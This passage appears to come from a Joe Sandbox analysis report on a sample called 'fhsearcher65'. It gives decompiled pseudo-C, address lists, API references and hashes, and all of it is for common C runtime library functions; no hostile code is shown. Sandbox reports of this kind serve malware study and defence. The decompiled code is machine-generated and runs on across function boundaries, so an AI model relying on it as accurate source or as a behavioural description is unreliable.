							__eflags = _t42 - 3;
							if(_t42 != 3) {
								goto L16;
							}
							goto L13;
						}
					}
					__eflags = _t42 - 2;
					if(_t42 == 2) {
						goto L6;
					}
					_t35 =  *(_t47 + 0x10);
					goto L8;
				}
				_t52 =  *0x10017968 - _t42; // 0x1
				if(_t52 > 0) {
					goto L3;
				}
				_t24 = 0;
				goto L17;
			}

0x10003486
0x10003486
0x10003488
0x1000348d
0x10003492
0x10003497
0x100034a8
0x100034a8
0x100034ac
0x100034af
0x100034bb
0x100034bb
0x100034c8
0x100034ca
0x100034cd
0x100034cf
0x10003578
0x10003578
0x1000357f
0x10003581
0x10003584
0x10003590
0x10003590
0x100034df
0x100034e1
0x100034e4
0x100034e6
0x00000000
0x00000000
0x100034ec
0x100034ec
0x100034ed
0x100034ee
0x100034f1
0x100034f6
0x100034f8
0x100034fb
0x100034fe
0x10003500
0x10003502
0x10003504
0x10003505
0x10003506
0x10003509
0x1000350e
0x10003510
0x10003510
0x10003516
0x10003517
0x1000351c
0x10003522
0x10003522
0x10003502
0x10003527
0x10003529
0x10003530
0x1000353a
0x1000353c
0x1000353f
0x10003541
0x1000354d
0x10003575
0x10003575
0x00000000
0x1000352b
0x1000352b
0x1000352e
0x00000000
0x00000000
0x00000000
0x1000352e
0x10003529
0x100034b1
0x100034b4
0x00000000
0x00000000
0x100034b6
0x00000000
0x100034b6
0x10003499
0x1000349f
0x00000000
0x00000000
0x100034a1
0x00000000

APIs

dllmain_raw.LIBCMT ref: 100034C3
dllmain_crt_dispatch.LIBCMT ref: 100034DA
dllmain_raw.LIBCMT ref: 10003522
dllmain_crt_dispatch.LIBCMT ref: 10003535
dllmain_raw.LIBCMT ref: 10003548

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 52375cf17bb0d101189a85c26acd30f86b67d56865f3d0828ade5b8236379d4d
Instruction ID: 4eae28f9cec24adab2deedadfa513907509d2ff78710b81ad0a66de0a83b0cb4
Opcode Fuzzy Hash: 52375cf17bb0d101189a85c26acd30f86b67d56865f3d0828ade5b8236379d4d
Instruction Fuzzy Hash: D8217F71D04A65BAFB23CE64DC45A6F3BADEB846D1F018115FC046B228D7309E419BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00425E96 Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00425E96(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x43d160; // 0x43d1b4
					if(_t23 != 0) {
						E0041E668(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x43d164; // 0x450784
					if(_t24 != 0) {
						E0041E668(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x43d168; // 0x450784
					if(_t25 != 0) {
						E0041E668(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x43d190; // 0x43d1b8
					if(_t26 != 0) {
						E0041E668(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x43d194; // 0x450788
					if(_t27 != 0) {
						return E0041E668(_t6);
					}
				}
				return _t6;
			}

0x00425e9c
0x00425ea1
0x00425ea5
0x00425eab
0x00425eae
0x00425eb3
0x00425eb7
0x00425ebd
0x00425ec0
0x00425ec5
0x00425ec9
0x00425ecf
0x00425ed2
0x00425ed7
0x00425edb
0x00425ee1
0x00425ee4
0x00425ee9
0x00425eea
0x00425eed
0x00425ef3
0x00000000
0x00425efb
0x00425ef3
0x00425efe

APIs

_free.LIBCMT ref: 00425EAE

Part of subcall function 0041E668: HeapFree.KERNEL32(00000000,00000000,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?), ref: 0041E67E
Part of subcall function 0041E668: GetLastError.KERNEL32(?,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?,?), ref: 0041E690

_free.LIBCMT ref: 00425EC0
_free.LIBCMT ref: 00425ED2
_free.LIBCMT ref: 00425EE4
_free.LIBCMT ref: 00425EF6

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ecef4e8d75fb8ce96c2f369775812b1e7556ebdaa90a8c02d54b4a4fccf6128e
Instruction ID: 5c5330aac8266b2bd49d6ae07d8d6509029817323d1a0f7ef948f48d96fa321a
Opcode Fuzzy Hash: ecef4e8d75fb8ce96c2f369775812b1e7556ebdaa90a8c02d54b4a4fccf6128e
Instruction Fuzzy Hash: DDF06272A15614E79A20EB6AF881C5BB3DDAA14B143E5080BF808D7600CB38FC80C65C

Uniqueness

Uniqueness Score: -1.00%

Function 00442FB3 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00442FCB
_free.LIBCMT ref: 00442FDD
_free.LIBCMT ref: 00442FEF
_free.LIBCMT ref: 00443001
_free.LIBCMT ref: 00443013

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 96f50b6fd2803bd5c4bda2139404532c31f5521687e24c4fa50f21b7b3d75918
Instruction ID: b796e144102367d81c75d730982b4c61d5d1dbfd69c6644539770f527747fe0f
Opcode Fuzzy Hash: 96f50b6fd2803bd5c4bda2139404532c31f5521687e24c4fa50f21b7b3d75918
Instruction Fuzzy Hash: 39F09632404200B7EA60DF76F985C5773F9AA04B14B94880BF044D7A64CB78FCC0965C

Uniqueness

Uniqueness Score: -1.00%

Function 1000BA9B Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000BA9B(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x100176f8; // 0x10017748
					if(_t23 != 0) {
						E10008701(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x100176fc; // 0x1001835c
					if(_t24 != 0) {
						E10008701(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x10017700; // 0x1001835c
					if(_t25 != 0) {
						E10008701(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x10017728; // 0x1001774c
					if(_t26 != 0) {
						E10008701(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x1001772c; // 0x10018360
					if(_t27 != 0) {
						return E10008701(_t6);
					}
				}
				return _t6;
			}

0x1000baa1
0x1000baa6
0x1000baaa
0x1000bab0
0x1000bab3
0x1000bab8
0x1000babc
0x1000bac2
0x1000bac5
0x1000baca
0x1000bace
0x1000bad4
0x1000bad7
0x1000badc
0x1000bae0
0x1000bae6
0x1000bae9
0x1000baee
0x1000baef
0x1000baf2
0x1000baf8
0x00000000
0x1000bb00
0x1000baf8
0x1000bb03

APIs

_free.LIBCMT ref: 1000BAB3

Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729

_free.LIBCMT ref: 1000BAC5
_free.LIBCMT ref: 1000BAD7
_free.LIBCMT ref: 1000BAE9
_free.LIBCMT ref: 1000BAFB

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5fb86163ccc0cf36f5f605bb33fc0d434e280abf0fbc2f313962ea386a657b11
Instruction ID: 322c929f8fa3144f5d3f5fbca3afb4a8048b16d2c69f3c46f8cc95a9a1cb27b8
Opcode Fuzzy Hash: 5fb86163ccc0cf36f5f605bb33fc0d434e280abf0fbc2f313962ea386a657b11
Instruction Fuzzy Hash: 30F0F431618A209BEA54DF68E8C2C1A73E9FB057E07B08809F49CD754DCB32FC808B60

Uniqueness

Uniqueness Score: -1.00%

Function 004416CB Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00441865

Strings

*?, xrefs: 0044170E

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 76b620e72b1dbb4dfcec853c55e4519de0bd11c3334c3aa31fb4d74e4a998a5d
Instruction ID: 94cf888e9de60d1963efd33ec482e46fa66187b9afba07f34032ac2584db377d
Opcode Fuzzy Hash: 76b620e72b1dbb4dfcec853c55e4519de0bd11c3334c3aa31fb4d74e4a998a5d
Instruction Fuzzy Hash: 1F613075E002199FEF14DFA9C8815EEFBF5EF48314B24816AE815F7310E6359E818B94

Uniqueness

Uniqueness Score: -1.00%

Function 100093AE Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E100093AE(void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				void* __ebx;
				void* __edi;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t204;
				signed int _t206;
				signed int _t209;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				signed int* _t219;
				signed int _t222;
				void* _t225;
				union _FINDEX_INFO_LEVELS _t226;
				void* _t227;
				intOrPtr _t229;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				intOrPtr* _t239;
				signed int _t241;
				intOrPtr* _t244;
				signed int _t249;
				signed int _t255;
				signed int _t257;
				signed int _t263;
				intOrPtr* _t264;
				signed int _t272;
				signed int _t274;
				intOrPtr* _t275;
				void* _t277;
				signed int _t280;
				signed int _t283;
				signed int _t285;
				intOrPtr _t287;
				void* _t288;
				signed int* _t292;
				signed int _t293;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				void* _t300;
				void* _t301;
				signed int _t302;
				void* _t306;
				signed int _t307;
				void* _t308;
				void* _t309;
				void* _t310;
				signed int _t311;
				void* _t312;
				void* _t313;

				_t131 = _a8;
				_t309 = _t308 - 0x28;
				_push(__esi);
				_t317 = _t131;
				if(_t131 != 0) {
					_t292 = _a4;
					_t222 = 0;
					 *_t131 = 0;
					_t283 = 0;
					_t132 =  *_t292;
					_t232 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t222;
						_t134 = _t232 - _t283;
						_t293 = _t283;
						_v12 = _t293;
						_t271 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t232 - _t293;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t295 =  !_t293 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t295;
						if(_t295 != 0) {
							_t213 = _t283;
							_t280 = _t222;
							do {
								_t264 =  *_t213;
								_t20 = _t264 + 1; // 0x1
								_v20 = _t20;
								do {
									_t215 =  *_t264;
									_t264 = _t264 + 1;
									__eflags = _t215;
								} while (_t215 != 0);
								_t222 = _t222 + 1 + _t264 - _v20;
								_t213 = _v12 + 4;
								_t280 = _t280 + 1;
								_v12 = _t213;
								__eflags = _t280 - _t295;
							} while (_t280 != _t295);
							_t271 = _v16;
							_v8 = _t222;
							_t222 = 0;
							__eflags = 0;
						}
						_t296 = E1000709E(_t136, _t271, _v8, 1);
						_t310 = _t309 + 0xc;
						__eflags = _t296;
						if(_t296 != 0) {
							_v12 = _t283;
							_t139 = _t296 + _v16 * 4;
							_t233 = _t139;
							_v28 = _t139;
							_t140 = _t283;
							_v16 = _t233;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t222;
								 *_a8 = _t296;
								_t297 = _t222;
								goto L25;
							} else {
								_t274 = _t296 - _t283;
								__eflags = _t274;
								_v32 = _t274;
								do {
									_t150 =  *_t140;
									_t275 = _t150;
									_v24 = _t150;
									_v20 = _t275 + 1;
									do {
										_t152 =  *_t275;
										_t275 = _t275 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t275 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E1000B283(_t233, _v28 - _t233 + _v8, _v24);
									_t310 = _t310 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										E10006359();
										asm("int3");
										_t306 = _t310;
										_push(_t233);
										_t239 = _v72;
										_t65 = _t239 + 1; // 0x1
										_t277 = _t65;
										do {
											_t159 =  *_t239;
											_t239 = _t239 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t283);
										_t285 = _a8;
										_t241 = _t239 - _t277 + 1;
										_v12 = _t241;
										__eflags = _t241 -  !_t285;
										if(_t241 <=  !_t285) {
											_push(_t222);
											_push(_t296);
											_t68 = _t285 + 1; // 0x1
											_t225 = _t68 + _t241;
											_t300 = E10008BFC(_t225, 1);
											__eflags = _t285;
											if(_t285 == 0) {
												L40:
												_push(_v12);
												_t225 = _t225 - _t285;
												_t164 = E1000B283(_t300 + _t285, _t225, _v0);
												_t311 = _t310 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t229 = _a12;
													_t206 = E10009998(_t229);
													_v12 = _t206;
													__eflags = _t206;
													if(_t206 == 0) {
														 *( *(_t229 + 4)) = _t300;
														_t302 = 0;
														_t77 = _t229 + 4;
														 *_t77 =  *(_t229 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E10008701(_t300);
														_t302 = _v12;
													}
													E10008701(0);
													_t209 = _t302;
													goto L37;
												}
											} else {
												_push(_t285);
												_t211 = E1000B283(_t300, _t225, _a4);
												_t311 = _t310 + 0x10;
												__eflags = _t211;
												if(_t211 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E10006359();
													asm("int3");
													_push(_t306);
													_t307 = _t311;
													_t312 = _t311 - 0x298;
													_t166 =  *0x10017004; // 0xdfd3a356
													_v124 = _t166 ^ _t307;
													_t244 = _v108;
													_t278 = _v104;
													_push(_t225);
													_push(0);
													_t287 = _v112;
													_v724 = _t278;
													__eflags = _t244 - _t287;
													if(_t244 != _t287) {
														while(1) {
															_t204 =  *_t244;
															__eflags = _t204 - 0x2f;
															if(_t204 == 0x2f) {
																break;
															}
															__eflags = _t204 - 0x5c;
															if(_t204 != 0x5c) {
																__eflags = _t204 - 0x3a;
																if(_t204 != 0x3a) {
																	_t244 = E1000D050(_t287, _t244);
																	__eflags = _t244 - _t287;
																	if(_t244 != _t287) {
																		continue;
																	}
																}
															}
															break;
														}
														_t278 = _v616;
													}
													_t168 =  *_t244;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t226 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t226;
														_v672 = _t226;
														_push(_t300);
														asm("sbb eax, eax");
														_v668 = _t226;
														_v664 = _t226;
														_v644 =  ~(_t169 & 0x000000ff) & _t244 - _t287 + 0x00000001;
														_v660 = _t226;
														_v656 = _t226;
														_t175 = E10009391(_t244 - _t287 + 1, _t287,  &_v676, E100098A5(_t278, __eflags));
														_t313 = _t312 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t226,  &_v608, _t226, _t226, _t226);
														_t301 = _t179;
														__eflags = _t301 - 0xffffffff;
														if(_t301 != 0xffffffff) {
															_t249 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t249;
															_v648 = _t249 >> 2;
															do {
																_v640 = _t226;
																_v636 = _t226;
																_v632 = _t226;
																_v628 = _t226;
																_v624 = _t226;
																_v620 = _t226;
																_t185 = E100092C2( &(_v608.cFileName),  &_v640,  &_v609, E100098A5(_t278, __eflags));
																_t313 = _t313 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t287);
																	_push(_t188);
																	L33();
																	_t313 = _t313 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t226;
																		if(_v620 != _t226) {
																			E10008701(_v632);
																			_t188 = _v652;
																		}
																		_t226 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t255 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t255;
																	if(_t255 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t255 - 0x2e;
																		if(_t255 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t226;
																			if( *((intOrPtr*)(_t188 + 2)) == _t226) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t301);
																goto L77;
																L68:
																__eflags = _v620 - _t226;
																if(_v620 != _t226) {
																	E10008701(_v632);
																}
																__eflags = FindNextFileW(_t301,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t257 = _v648;
															_t278 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t257 - _t199;
															if(_t257 != _t199) {
																E1000CB20(_t278, _t278 + _t257 * 4, _t199 - _t257, 4, E100091F8);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t226);
															_push(_t226);
															_push(_t287);
															L33();
															_t226 = _t179;
														}
														L77:
														__eflags = _v656;
														_pop(_t300);
														if(_v656 != 0) {
															E10008701(_v668);
														}
														_t190 = _t226;
													} else {
														_t190 = _t287 + 1;
														__eflags = _t244 - _t287 + 1;
														if(_t244 == _t287 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t278);
															_push(0);
															_push(0);
															_push(_t287);
															L33();
														}
													}
													_pop(_t288);
													__eflags = _v16 ^ _t307;
													_pop(_t227);
													return E100031FF(_t190, _t227, _v16 ^ _t307, _t278, _t288, _t300);
												} else {
													goto L40;
												}
											}
										} else {
											_t209 = 0xc;
											L37:
											return _t209;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t212 = _v12;
									_t263 = _v16;
									 *((intOrPtr*)(_v32 + _t212)) = _t263;
									_t140 = _t212 + 4;
									_t233 = _t263 + _v20;
									_v16 = _t233;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t297 = _t296 | 0xffffffff;
							_v12 = _t297;
							L25:
							E10008701(_t222);
							_pop(_t234);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t222;
							_t217 = E1000D010(_t132,  &_v8);
							_t234 =  *_t292;
							__eflags = _t217;
							if(_t217 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t217);
								_push(_t234);
								L46();
								_t309 = _t309 + 0xc;
								_v12 = _t217;
								_t297 = _t217;
							} else {
								_t218 =  &(_v608.cAlternateFileName);
								_push(_t218);
								_push(_t222);
								_push(_t222);
								_push(_t234);
								L33();
								_t297 = _t218;
								_t309 = _t309 + 0x10;
								_v12 = _t297;
							}
							__eflags = _t297;
							if(_t297 != 0) {
								break;
							}
							_t292 =  &(_a4[1]);
							_a4 = _t292;
							_t132 =  *_t292;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t283 = _v608.cAlternateFileName;
								_t232 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t283 = _v608.cAlternateFileName;
						L26:
						_t272 = _t283;
						_v32 = _t272;
						__eflags = _v40 - _t272;
						asm("sbb ecx, ecx");
						_t236 =  !_t234 & _v40 - _t272 + 0x00000003 >> 0x00000002;
						__eflags = _t236;
						_v28 = _t236;
						if(_t236 != 0) {
							_t299 = _t236;
							do {
								E10008701( *_t283);
								_t222 = _t222 + 1;
								_t283 = _t283 + 4;
								__eflags = _t222 - _t299;
							} while (_t222 != _t299);
							_t283 = _v608.cAlternateFileName;
							_t297 = _v12;
						}
						E10008701(_t283);
						goto L31;
					}
				} else {
					_t219 = E10006406(_t317);
					_t297 = 0x16;
					 *_t219 = _t297;
					E1000632C();
					L31:
					return _t297;
				}
				L81:
			}

0x100093b3
0x100093b6
0x100093b9
0x100093ba
0x100093bc
0x100093d2
0x100093d6
0x100093d9
0x100093db
0x100093dd
0x100093df
0x100093e1
0x100093e4
0x100093e7
0x100093ea
0x100093ec
0x1000944f
0x10009451
0x10009454
0x10009456
0x1000945a
0x10009463
0x10009464
0x10009467
0x10009469
0x1000946c
0x10009470
0x10009470
0x10009472
0x10009474
0x10009476
0x10009478
0x10009478
0x1000947a
0x1000947d
0x10009480
0x10009480
0x10009482
0x10009483
0x10009483
0x1000948e
0x10009490
0x10009493
0x10009494
0x10009497
0x10009497
0x1000949b
0x1000949e
0x100094a1
0x100094a1
0x100094a1
0x100094ae
0x100094b0
0x100094b3
0x100094b5
0x100094cd
0x100094d0
0x100094d3
0x100094d5
0x100094d8
0x100094da
0x100094dd
0x100094e0
0x1000953d
0x10009540
0x10009543
0x10009545
0x00000000
0x100094e2
0x100094e4
0x100094e4
0x100094e6
0x100094e9
0x100094e9
0x100094eb
0x100094ed
0x100094f3
0x100094f6
0x100094f6
0x100094f8
0x100094f9
0x100094f9
0x10009500
0x10009503
0x10009507
0x10009514
0x10009519
0x1000951c
0x1000951e
0x10009592
0x10009593
0x10009594
0x10009595
0x10009596
0x10009597
0x1000959c
0x100095a0
0x100095a2
0x100095a3
0x100095a6
0x100095a6
0x100095a9
0x100095a9
0x100095ab
0x100095ac
0x100095ac
0x100095b0
0x100095b1
0x100095b8
0x100095bb
0x100095be
0x100095c0
0x100095c8
0x100095c9
0x100095ca
0x100095cd
0x100095d7
0x100095db
0x100095dd
0x100095f1
0x100095f1
0x100095f4
0x100095fe
0x10009603
0x10009606
0x10009608
0x00000000
0x1000960a
0x1000960a
0x1000960f
0x10009616
0x10009619
0x1000961b
0x1000962c
0x1000962e
0x10009630
0x10009630
0x10009630
0x1000961d
0x1000961e
0x10009623
0x10009626
0x10009635
0x1000963b
0x00000000
0x1000963e
0x100095df
0x100095df
0x100095e5
0x100095ea
0x100095ed
0x100095ef
0x10009641
0x10009643
0x10009644
0x10009645
0x10009646
0x10009647
0x10009648
0x1000964d
0x10009650
0x10009651
0x10009653
0x10009659
0x10009660
0x10009663
0x10009666
0x10009669
0x1000966a
0x1000966b
0x1000966e
0x10009674
0x10009676
0x10009678
0x10009678
0x1000967a
0x1000967c
0x00000000
0x00000000
0x1000967e
0x10009680
0x10009682
0x10009684
0x1000968f
0x10009691
0x10009693
0x00000000
0x00000000
0x10009693
0x10009684
0x00000000
0x10009680
0x10009695
0x10009695
0x1000969b
0x1000969d
0x100096a3
0x100096a5
0x100096c7
0x100096c7
0x100096c9
0x100096cb
0x100096d7
0x100096d7
0x100096cd
0x100096cd
0x100096cf
0x00000000
0x100096d1
0x100096d1
0x100096d3
0x100096d5
0x00000000
0x00000000
0x100096d5
0x100096cf
0x100096df
0x100096e7
0x100096ed
0x100096ee
0x100096f0
0x100096f8
0x100096fe
0x10009704
0x1000970a
0x1000971e
0x10009723
0x1000972e
0x1000973e
0x10009744
0x10009746
0x10009749
0x1000976c
0x1000976c
0x10009771
0x10009777
0x10009777
0x1000977d
0x10009783
0x10009789
0x1000978f
0x10009795
0x100097b6
0x100097bb
0x100097c0
0x100097c4
0x100097ca
0x100097cd
0x100097e0
0x100097e0
0x100097e6
0x100097ec
0x100097ed
0x100097ee
0x100097f3
0x100097f6
0x100097fc
0x100097fe
0x1000985c
0x10009862
0x1000986a
0x1000986f
0x10009875
0x10009876
0x00000000
0x00000000
0x00000000
0x100097cf
0x100097cf
0x100097d2
0x100097d4
0x00000000
0x100097d6
0x100097d6
0x100097d9
0x00000000
0x100097db
0x100097db
0x100097de
0x00000000
0x00000000
0x00000000
0x00000000
0x100097de
0x100097d9
0x100097d4
0x10009878
0x10009879
0x00000000
0x10009800
0x10009800
0x10009806
0x1000980e
0x10009813
0x10009822
0x10009822
0x1000982a
0x10009830
0x10009836
0x1000983d
0x10009840
0x10009842
0x10009852
0x10009857
0x00000000
0x1000974b
0x1000974b
0x10009751
0x10009752
0x10009753
0x10009754
0x1000975c
0x1000975c
0x1000987f
0x1000987f
0x10009886
0x10009887
0x1000988f
0x10009894
0x10009895
0x100096a7
0x100096a7
0x100096aa
0x100096ac
0x100096c1
0x00000000
0x100096ae
0x100096ae
0x100096b1
0x100096b2
0x100096b3
0x100096b4
0x100096b9
0x100096ac
0x1000989a
0x1000989b
0x1000989d
0x100098a4
0x00000000
0x00000000
0x00000000
0x100095ef
0x100095c2
0x100095c4
0x100095c5
0x100095c7
0x100095c7
0x00000000
0x00000000
0x00000000
0x00000000
0x10009520
0x10009520
0x10009526
0x10009529
0x1000952c
0x1000952f
0x10009532
0x10009535
0x10009538
0x10009538
0x00000000
0x100094e9
0x100094b7
0x100094b7
0x100094ba
0x10009547
0x10009548
0x1000954d
0x00000000
0x1000954d
0x100093ee
0x100093ee
0x100093f1
0x100093f9
0x100093fc
0x10009403
0x10009405
0x10009407
0x10009422
0x10009423
0x10009424
0x10009425
0x1000942a
0x1000942d
0x10009430
0x10009409
0x10009409
0x1000940c
0x1000940d
0x1000940e
0x1000940f
0x10009410
0x10009415
0x10009417
0x1000941a
0x1000941a
0x10009432
0x10009434
0x00000000
0x00000000
0x1000943d
0x10009440
0x10009443
0x10009445
0x10009447
0x00000000
0x10009449
0x10009449
0x1000944c
0x00000000
0x1000944c
0x00000000
0x10009447
